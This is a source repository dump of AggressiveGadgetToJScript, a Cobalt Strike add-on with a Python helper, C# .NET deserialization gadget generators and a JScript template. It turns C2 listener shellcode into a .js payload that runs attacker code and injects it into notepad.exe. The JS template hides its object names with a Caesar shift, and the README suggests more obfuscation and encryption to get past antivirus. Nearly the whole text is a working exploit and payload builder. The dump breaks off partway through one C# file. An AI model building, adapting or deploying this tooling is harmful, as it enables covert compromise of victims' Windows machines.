├── src
├── SurrogateSelector.cs
├── InternalCompiler.cs
├── DisableTypeCheckGadgetGenerator.cs
├── SurrogateGadgetGenerator.cs
└── GadgetToJScript.cs
├── GadgetToJScript.cna
├── README.md
├── Helper.py
├── Templates
├── GadgetToJScript.js
└── Injector.cs
└── LICENSE
/src/SurrogateSelector.cs:
--------------------------------------------------------------------------------
1 | // Based on https://github.com/med0x2e/GadgetToJScript/blob/master/GadgetToJScript/_SurrogateSelector.cs
2 | using System;
3 | using System.Runtime.Serialization;
4 |
5 | namespace GadgetToJScript
6 | {
7 | class SurrogateSelector : System.Runtime.Serialization.SurrogateSelector
8 | {
9 | public override ISerializationSurrogate GetSurrogate(Type type, StreamingContext context, out ISurrogateSelector selector)
10 | {
11 | selector = this;
12 |
13 | if (!type.IsSerializable)
14 | {
15 | Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
16 | return (ISerializationSurrogate)Activator.CreateInstance(t);
17 | }
18 |
19 | return base.GetSurrogate(type, context, out selector);
20 | }
21 | }
22 | }
23 |
--------------------------------------------------------------------------------
/src/InternalCompiler.cs:
--------------------------------------------------------------------------------
1 | //Based on https://github.com/med0x2e/GadgetToJScript/blob/master/GadgetToJScript/TestAssemblyLoader.cs
2 | using Microsoft.CSharp;
3 | using System;
4 | using System.CodeDom.Compiler;
5 | using System.Reflection;
6 | using System.Text;
7 |
8 | namespace GadgetToJScript
9 | {
10 | class InternalCompiler
11 | {
12 | public static Assembly compile(string source)
13 | {
14 | CSharpCodeProvider provider = new CSharpCodeProvider();
15 | CompilerParameters parameters = new CompilerParameters();
16 | parameters.ReferencedAssemblies.Add("Microsoft.CSharp.dll");
17 | parameters.ReferencedAssemblies.Add("System.dll");
18 | parameters.ReferencedAssemblies.Add("System.Core.dll");
19 | parameters.ReferencedAssemblies.Add("System.IO.Compression.dll");
20 | parameters.ReferencedAssemblies.Add("System.Management.dll");
21 | CompilerResults results = provider.CompileAssemblyFromSource(parameters, source);
22 |
23 | if (results.Errors.HasErrors)
24 | {
25 | StringBuilder sb = new StringBuilder();
26 |
27 | foreach (CompilerError error in results.Errors)
28 | {
29 | sb.AppendLine(string.Format("Error ({0}): {1}: {2}", error.ErrorNumber, error.ErrorText, error.Line));
30 | }
31 |
32 | throw new InvalidOperationException(sb.ToString());
33 | }
34 |
35 | Assembly compiled = results.CompiledAssembly;
36 | return compiled;
37 | }
38 | }
39 | }
40 |
--------------------------------------------------------------------------------
/GadgetToJScript.cna:
--------------------------------------------------------------------------------
1 | $toolpath = "";
2 | $outpath = "";
3 | $python3 = "";
4 | $gzip = "";
5 | $mcs = "";
6 |
7 |
8 | menubar("Custom Payloads", "custom_payloads");
9 |
10 | popup custom_payloads {
11 | item "&GadgetToJScript" {
12 | GadgetToJScript();
13 | }
14 | }
15 |
16 | sub GadgetToJScript {
17 | $dialog = dialog("GadgetToJScript Payload Generator", %(listener => "", payload_type => "Payload Type: ", output => "output: "), &GadgetToJScriptCallback);
18 | drow_listener_stage($dialog, "listener", "Listener: ");
19 | drow_combobox($dialog, "payload_type", "Payload Type: ", @("Staged", "Stageless"));
20 | drow_combobox($dialog, "architecture", "Architecture: ", @("x64", "x86"));
21 | dbutton_action($dialog, "Generate");
22 | dialog_show($dialog);
23 | }
24 |
25 | sub GadgetToJScriptCallback {
26 | if ($3['listener'] eq "") {
27 | show_message("No listener specified!");
28 | exit();
29 | }
30 |
31 | println("\n\c8[!]\o Generating GadgetToJScript payload...");
32 | println("[*] Type: " . $3['payload_type']);
33 | println("[*] Architecture: " . $3['architecture']);
34 |
35 | if ($3['payload_type'] eq "Staged") {
36 | $shellcode = stager($3['listener'], $3['architecture']);
37 | }
38 |
39 | else {
40 | $shellcode = artifact_payload($3['listener'], "raw", $3['architecture']);
41 | }
42 |
43 | mkdir($outpath);
44 | $shellcodefile = openf(">" . $outpath . "/GadgetToJScript.bin");
45 | writeb($shellcodefile, $shellcode);
46 | closef($shellcodefile);
47 | $pythonprocess = exec($python3 . " " . $toolpath . "/" . "Helper.py " . $3['architecture'] . " " . $toolpath . " " . $outpath . " " . $gzip . " " . $mcs);
48 | @pythondata = readAll($pythonprocess);
49 | printAll(@pythondata);
50 | println();
51 | }
52 |
53 | println("\n\c9[+]\o Loaded GadgetToJScript.cna!");
54 | println("\c8[!]\o \$toolpath set to '\U$toolpath\U'");
55 | println("\c8[!]\o \$outpath set to '\U$outpath\U'");
56 | println("\c8[!]\o \$python3 set to '\U$python3\U'");
57 | println("\c8[!]\o \$gzip set to '\U$gzip\U'");
58 | println("\c8[!]\o \$mcs set to '\U$mcs\U'\n");
59 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | ## AggressiveGadgetToJScript
2 | We created this aggressor script in order to automate the generation of payloads using the GadgetToJScript technique.
3 |
4 | For the purposes of this release, we used a common injector that implements the QueueUserAPC injection method and injects to notepad.exe.
5 |
6 | Feel free to use your own templates.
7 |
8 | Additionally, the shellcode generated is compressed before being used in the injector template.
9 |
10 | ---
11 |
12 | ### Usage
13 | * Install mono framework: `apt install mono-complete`.
14 | * Set the path variables inside `GadgetToJScript.cna`:
15 | * `$toolpath` is the absolute path of the installation directory.
16 | * `$outpath` is the directory used to output all generated artifacts.
17 | * `$python3` is the absolute path of python3 binary.
18 | * `$gzip` is the absolute path of gzip binary.
19 | * `$mcs` is the absolute path of mcs binary.
20 | * Load cna into CobaltStrike.
21 | * A new menu `CustomPayloads` will appear. Generate the payload choosing listener, staged / stageless, architecture. Payload will be stored in your defined `$outpath`.
22 | * Due to `ConfigurationManager.AppSettings` being readonly in Mono (https://github.com/mono/mono/issues/11751), we have to copy the generated EXE file into a windows box and execute it.
23 | * The final GadgetToJscript payload (.js) will be generated. Currently using the reg-free template from GadgetToJscript.
24 |
25 | ### Configuration:
26 | ```
27 | $toolpath = "/opt/cobaltstrike/custom/AggressiveGadgetToJScript";
28 | $outpath = "/tmp/payloads";
29 | $python3 = "/usr/bin/python3";
30 | $gzip = "/usr/bin/gzip";
31 | $mcs = "/usr/bin/mcs";
32 | ```
33 | ---
34 |
35 | ### Caveats
36 | * Payload generated (.js) gets flagged by AV. Consider obfuscating `/Templates/GadgetToJScript.js`. As a PoC we opted using a powerful royal-like technique directly stolen from Caesar!
37 | * Shellcode can also be encrypted by placing an encrypt function in Helper.py and a decrypt function in `/Templates/Injector.cs`
38 | * Injection method can be replaced in `/Templates/Injector.cs`. Just make sure to place it in the constructor of the class.
39 |
40 | ---
41 |
42 | ### Authors
43 |
44 | * [@eksperience](https://github.com/eksperience)
45 |
46 | * [@leftp](https://github.com/leftp)
47 |
48 | ---
49 |
50 | ### Credits
51 |
52 | This tool is based on:
53 |
54 | * Original code of GadgetToJScript from @med0x2e - https://github.com/med0x2e/GadgetToJScript
55 |
56 | * Sample Injector used from @pwndizzle - https://github.com/pwndizzle/c-sharp-memory-injection/blob/master/apc-injection-new-process.cs
57 |
--------------------------------------------------------------------------------
/Helper.py:
--------------------------------------------------------------------------------
1 | try:
2 | from argparse import ArgumentParser
3 | from os import rename, stat
4 | from string import Template
5 | from subprocess import check_output, STDOUT
6 | from tempfile import TemporaryDirectory
7 |
8 | except ImportError as exception:
9 | print("{0}".format(exception))
10 | exit(1)
11 |
12 |
13 | def compress(gzip, tmp):
14 | check_output([gzip, "{0}/GadgetToJScript.bin".format(tmp)]).decode("utf-8").strip()
15 |
16 | with open("{0}/GadgetToJScript.bin.gz".format(tmp), "rb") as gz:
17 | compressed_shellcode = bytes(gz.read())
18 |
19 | return compressed_shellcode
20 |
21 |
22 | def build(shellcode, architecture, toolpath, outpath, mcspath, tmp):
23 | with open("{0}/Templates/Injector.cs".format(toolpath)) as template:
24 | cs_src = Template(template.read())
25 | cs_sub = cs_src.substitute({"shellcode": ", ".join(hex(s) for s in shellcode)})
26 |
27 | with open("{0}/Injector.cs".format(tmp), "w") as final:
28 | final.write(cs_sub)
29 |
30 | result = check_output([mcspath, "-platform:{0}".format(architecture), "-target:winexe", "-out:{0}/GadgetToJScript.exe".format(outpath), "-r:System.Data", "-r:System.Web", "-r:System.Configuration", "-resource:{0}/Injector.cs,SourceCode".format(tmp), "-resource:{0}/Templates/GadgetToJScript.js,Template".format(toolpath), "{0}/src/DisableTypeCheckGadgetGenerator.cs".format(toolpath), "{0}/src/GadgetToJScript.cs".format(toolpath), "{0}/src/InternalCompiler.cs".format(toolpath), "{0}/src/SurrogateGadgetGenerator.cs".format(toolpath), "{0}/src/SurrogateSelector.cs".format(toolpath)], stderr=STDOUT)
31 |
32 | if result:
33 | print(result)
34 | exit(1)
35 |
36 | print("[*] Saved at: {0}/GadgetToJScript.exe".format(outpath))
37 | print("[!] Run the generated executable on a Windows host to produce the final .js payload")
38 |
39 |
40 | if __name__ == "__main__":
41 | parser = ArgumentParser()
42 | parser.add_argument("architecture", type=str)
43 | parser.add_argument("toolpath", type=str)
44 | parser.add_argument("outpath", type=str)
45 | parser.add_argument("gzpath", type=str)
46 | parser.add_argument("mcspath", type=str)
47 | args = parser.parse_args()
48 |
49 | tmp = TemporaryDirectory(prefix=args.outpath+"/")
50 |
51 | rename("{0}/GadgetToJScript.bin".format(args.outpath), "{0}/GadgetToJScript.bin".format(tmp.name))
52 | print("[*] Initial shellcode size: {0} bytes".format(stat("{0}/GadgetToJScript.bin".format(tmp.name)).st_size))
53 |
54 | compressed_shellcode = compress(args.gzpath, tmp.name)
55 | print("[*] Compressed shellcode size: {0} bytes".format(len(compressed_shellcode)))
56 |
57 | build(compressed_shellcode, args.architecture, args.toolpath, args.outpath, args.mcspath, tmp.name)
58 |
59 |
--------------------------------------------------------------------------------
/src/DisableTypeCheckGadgetGenerator.cs:
--------------------------------------------------------------------------------
1 | //Based on https://github.com/med0x2e/GadgetToJScript/blob/master/GadgetToJScript/_DisableTypeCheckGadgetGenerator.cs
2 |
3 | using System;
4 | using System.IO;
5 | using System.Runtime.Serialization;
6 | using System.Runtime.Serialization.Formatters.Binary;
7 |
8 | namespace GadgetToJScript
9 | {
10 | [Serializable]
11 | public class TextFormattingRunPropertiesMarshal : ISerializable
12 | {
13 | string xaml;
14 |
15 | public void GetObjectData(SerializationInfo info, StreamingContext context)
16 | {
17 | Type t = Type.GetType("Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties, Microsoft.PowerShell.Editor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
18 | info.SetType(t);
19 | info.AddValue("ForegroundBrush", xaml);
20 | }
21 |
22 | public TextFormattingRunPropertiesMarshal(string xaml)
23 | {
24 | this.xaml = xaml;
25 | }
26 | }
27 |
28 | class DisableTypeCheckGadgetGenerator
29 | {
30 | public MemoryStream generateGadget(MemoryStream ms)
31 | {
32 | string payload = @"
38 |
39 |
40 | System.Workflow.ComponentModel.AppSettings, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35
41 |
42 |
43 |
44 |
45 | disableActivitySurrogateSelectorTypeCheck
46 | 40
47 |
48 |
49 |
50 |
51 |
52 | true
53 |
54 |
55 |
56 |
57 | microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck
58 | true
59 |
60 |
61 | ";
62 |
63 | Object tfrpm = new TextFormattingRunPropertiesMarshal(payload);
64 | BinaryFormatter bf = new BinaryFormatter();
65 | ms = new MemoryStream();
66 | bf.Serialize(ms, tfrpm);
67 | return ms;
68 | }
69 | }
70 | }
71 |
--------------------------------------------------------------------------------
/Templates/GadgetToJScript.js:
--------------------------------------------------------------------------------
1 | // Code modified from https://gist.github.com/EvanHahn/2587465
2 | var caesarShift = function (str, amount) {
3 | if (amount < 0) {
4 | return caesarShift(str, amount + 26);
5 | }
6 |
7 | var output = "";
8 |
9 | for (var i = 0; i < str.length; i++) {
10 | var c = str[i];
11 | var code = str.charCodeAt(i);
12 |
13 | if (code >= 65 && code <= 90) {
14 | c = String.fromCharCode(((code - 65 + amount) % 26) + 65);
15 | } else if (code < 65 || code >= 123) {
16 | c = String.fromCharCode(code);
17 | } else if (code >= 97 && code <= 122) {
18 | c = String.fromCharCode(((code - 97 + amount) % 26) + 97);
19 | }
20 |
21 | output += c;
22 | }
23 |
24 | return output;
25 | };
26 |
27 | var manifestXML = ''+
28 | ''+
29 | ''+
30 | ''+
31 | '';
32 |
33 | var actObj = new ActiveXObject(caesarShift("Yuodaearf.Iuzpaie.MofOfj", -12));
34 | actObj.ManifestText = manifestXML;
35 |
36 | function Base64ToStream(b,l) {
37 | var enc = actObj.CreateObject(caesarShift("Ekefqy.Fqjf.MEOUUQzoapuzs", -12));
38 | var length = enc.GetByteCount_2(b);
39 | var ba = enc.GetBytes_4(b);
40 | var transform = actObj.CreateObject(caesarShift("Ekefqy.Eqogdufk.Odkbfasdmbtk.RdayNmeq64Fdmzerady", -12));
41 | ba = transform.TransformFinalBlock(ba, 0, length);
42 | var ms = actObj.CreateObject(caesarShift("Ekefqy.UA.YqyadkEfdqmy", -12));
43 | ms.Write(ba, 0, l);
44 | ms.Position = 0;
45 | return ms;
46 | }
47 |
48 | var stage_1 = "%STAGE_1%";
49 | var stage_2 = "%STAGE_2%";
50 |
51 | try {
52 | var shell = new ActiveXObject('WScript.Shell');
53 | ver = 'v4.0.30319';
54 |
55 | try {
56 | shell.RegRead('HKLM\\SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\');
57 | } catch(e) {
58 | ver = 'v2.0.50727';
59 | }
60 |
61 | shell.Environment('Process')('COMPLUS_Version') = ver;
62 | var ms_1 = Base64ToStream(caesarShift(stage_1, -12), %SIZE_OF_STAGE_1%);
63 | var fmt_1 = actObj.CreateObject(caesarShift("Ekefqy.Dgzfuyq.Eqdumxulmfuaz.Radymffqde.Nuzmdk.NuzmdkRadymffqd", -12));
64 | fmt_1.Deserialize_2(ms_1);
65 | } catch(e) {
66 | try {
67 | var ms_2 = Base64ToStream(caesarShift(stage_2, -12), %SIZE_OF_STAGE_2%);
68 | var fmt_2 = actObj.CreateObject(caesarShift("Ekefqy.Dgzfuyq.Eqdumxulmfuaz.Radymffqde.Nuzmdk.NuzmdkRadymffqd", -12));
69 | fmt_2.Deserialize_2(ms_2);
70 | } catch(e2) {}
71 | }
72 |
--------------------------------------------------------------------------------
/src/SurrogateGadgetGenerator.cs:
--------------------------------------------------------------------------------
1 | //Based on https://github.com/med0x2e/GadgetToJScript/blob/master/GadgetToJScript/_ASurrogateGadgetGenerator.cs
2 |
3 | using System;
4 | using System.Collections;
5 | using System.Collections.Generic;
6 | using System.ComponentModel.Design;
7 | using System.Data;
8 | using System.IO;
9 | using System.Linq;
10 | using System.Reflection;
11 | using System.Runtime.Serialization;
12 | using System.Runtime.Serialization.Formatters.Binary;
13 | using System.Web.UI.WebControls;
14 |
15 | namespace GadgetToJScript
16 | {
17 | [Serializable]
18 | public class SurrogateGadgetGenerator : ISerializable
19 | {
20 | protected byte[] assemblyBytes;
21 |
22 | public SurrogateGadgetGenerator(Assembly assembly)
23 | {
24 | assemblyBytes = File.ReadAllBytes(assembly.Location);
25 | }
26 |
27 | public void GetObjectData(SerializationInfo info, StreamingContext context)
28 | {
29 | try
30 | {
31 | List bytes = new List { assemblyBytes };
32 | var d1 = bytes.Select(Assembly.Load);
33 | Func> types = (Func>)Delegate.CreateDelegate(typeof(Func>), typeof(Assembly).GetMethod("GetTypes"));
34 | var d2 = d1.SelectMany(types);
35 | var d3 = d2.Select(Activator.CreateInstance);
36 | PagedDataSource pds = new PagedDataSource() { DataSource = d3 };
37 | IDictionary dictionary = (IDictionary)Activator.CreateInstance(typeof(int).Assembly.GetType("System.Runtime.Remoting.Channels.AggregateDictionary"), pds);
38 | DesignerVerb dv = new DesignerVerb("", null);
39 | typeof(MenuCommand).GetField("properties", BindingFlags.NonPublic | BindingFlags.Instance).SetValue(dv, dictionary);
40 | List